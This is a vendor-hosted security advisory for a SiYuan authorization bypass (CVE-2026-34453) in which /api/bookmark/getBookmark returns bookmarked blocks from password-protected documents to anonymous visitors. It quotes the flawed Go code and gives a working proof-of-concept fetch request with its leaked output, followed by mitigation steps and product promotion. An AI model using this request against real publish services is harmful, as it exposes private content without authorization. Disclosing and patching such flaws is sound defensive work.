Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-c77m-r996-jr3q

HIGH

SiYuan: Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark

Also known asCVE-2026-34453
Published
Mar 31, 2026
Updated
Apr 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
1.2%probability of exploitation in next 30 days
Lower Risk65th percentile-2.42%
0.00%1.58%3.16%4.73%0.0%3.4%3.6%1.2%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/siyuan-note/siyuan/kernel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.

Details

The issue is caused by an authorization bypass in the bookmark API path used by the publish service.

In kernel/api/bookmark.go, getBookmark checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes nil as the request context:

if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    tempBookmarks := &model.Bookmarks{}
    for _, bookmark := range *bookmarks {
        bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks)

In kernel/model/publish_access.go, FilterBlocksByPublishAccess allows access when c == nil:

if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) &&
   (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
    ret = append(ret, block)
}

This bypasses the intended password enforcement performed by CheckPublishAuthCookie, which validates the publish-auth-<id> cookie for protected content.

The publish proxy authenticates anonymous publish visitors with a RoleReader token, and CheckAuth accepts RoleReader, so unauthenticated publish visitors can reach /api/bookmark/getBookmark and trigger the vulnerable code path.

I reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a POST /api/bookmark/getBookmark request. The response returned a bookmark group containing the protected block in data[0].blocks, confirming the bypass.

PoC

  1. Start SiYuan with the publish service enabled.
  2. Create a new document, for example publish-bookmark-poc.
  3. Add a block containing identifiable content, for example BOOKMARK_SECRET_123.
  4. Open the block attributes and assign a bookmark label, for example leak-test.
  5. In Doc Tree, enable Publish Access Control and set the document to Protected.
  6. Set a password for that document, for example test123, and confirm the change.
  7. Open the publish service in a fresh incognito/private browser session.
  8. Verify that opening the protected document through the publish UI requires the password.
  9. Without entering the password, open the browser developer console and run:
fetch("/api/bookmark/getBookmark", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: "{}"
})
  .then(r => r.json())
  .then(x => console.log(JSON.stringify(x, null, 2)));
  1. Observe that the response contains a bookmark entry such as:
{
  "code": 0,
  "msg": "",
  "data": [
    {
      "name": "leak-test",
      "blocks": [
        {
          "box": "20260327012540-ppsxc5j",
          "path": "/20260327012543-acu1mdn.sy",
          "hPath": "/publish-bookmark-poc",
          "id": "20260327012543-1y6djn1",
          "rootID": "20260327012543-acu1mdn",
          "parentID": "20260327012543-acu1mdn",
          "name": "",
          "alias": "",
          "memo": "",
          "tag": "",
          "content": "​<span data-type=\"code\">​BOOKMARK_SECRET_123</span>​",
          "fcontent": "",
          "markdown": "`BOOKMARK_SECRET_123`",
          "folded": false,
          "type": "NodeParagraph",
          "subType": "",
          "refText": "",
          "refs": null,
          "defID": "",
          "defPath": "",
          "ial": {
            "bookmark": "leak-test",
            "id": "20260327012543-1y6djn1",
            "updated": "20260327013116"
          },
          "children": null,
          "depth": 1,
          "count": 0,
          "refCount": 0,
          "sort": 10,
          "created": "",
          "updated": "",
          "riffCardID": "",
          "riffCard": null
        }
      ],
      "type": "bookmark",
      "depth": 0,
      "count": 1
    }
  ]
}

Actual result: /api/bookmark/getBookmark returns bookmarked blocks from protected documents without requiring the publish password.

Impact

An unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the Protected publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/siyuan-note/siyuan/kernelall versions3.6.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/siyuan-note/siyuan/kernel to 3.6.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c77m-r996-jr3q is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-c77m-r996-jr3q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-c77m-r996-jr3q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, `/api/bookmark/getBookmark` filters bookmark results by calling `FilterBlocksByPublishAccess(nil, ...)`. Because the filter treats a `nil` context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as `Protected`. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the doc
O3 Security · Impact-Aware SCA

Is GHSA-c77m-r996-jr3q in your dependencies?

O3 detects GHSA-c77m-r996-jr3q across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.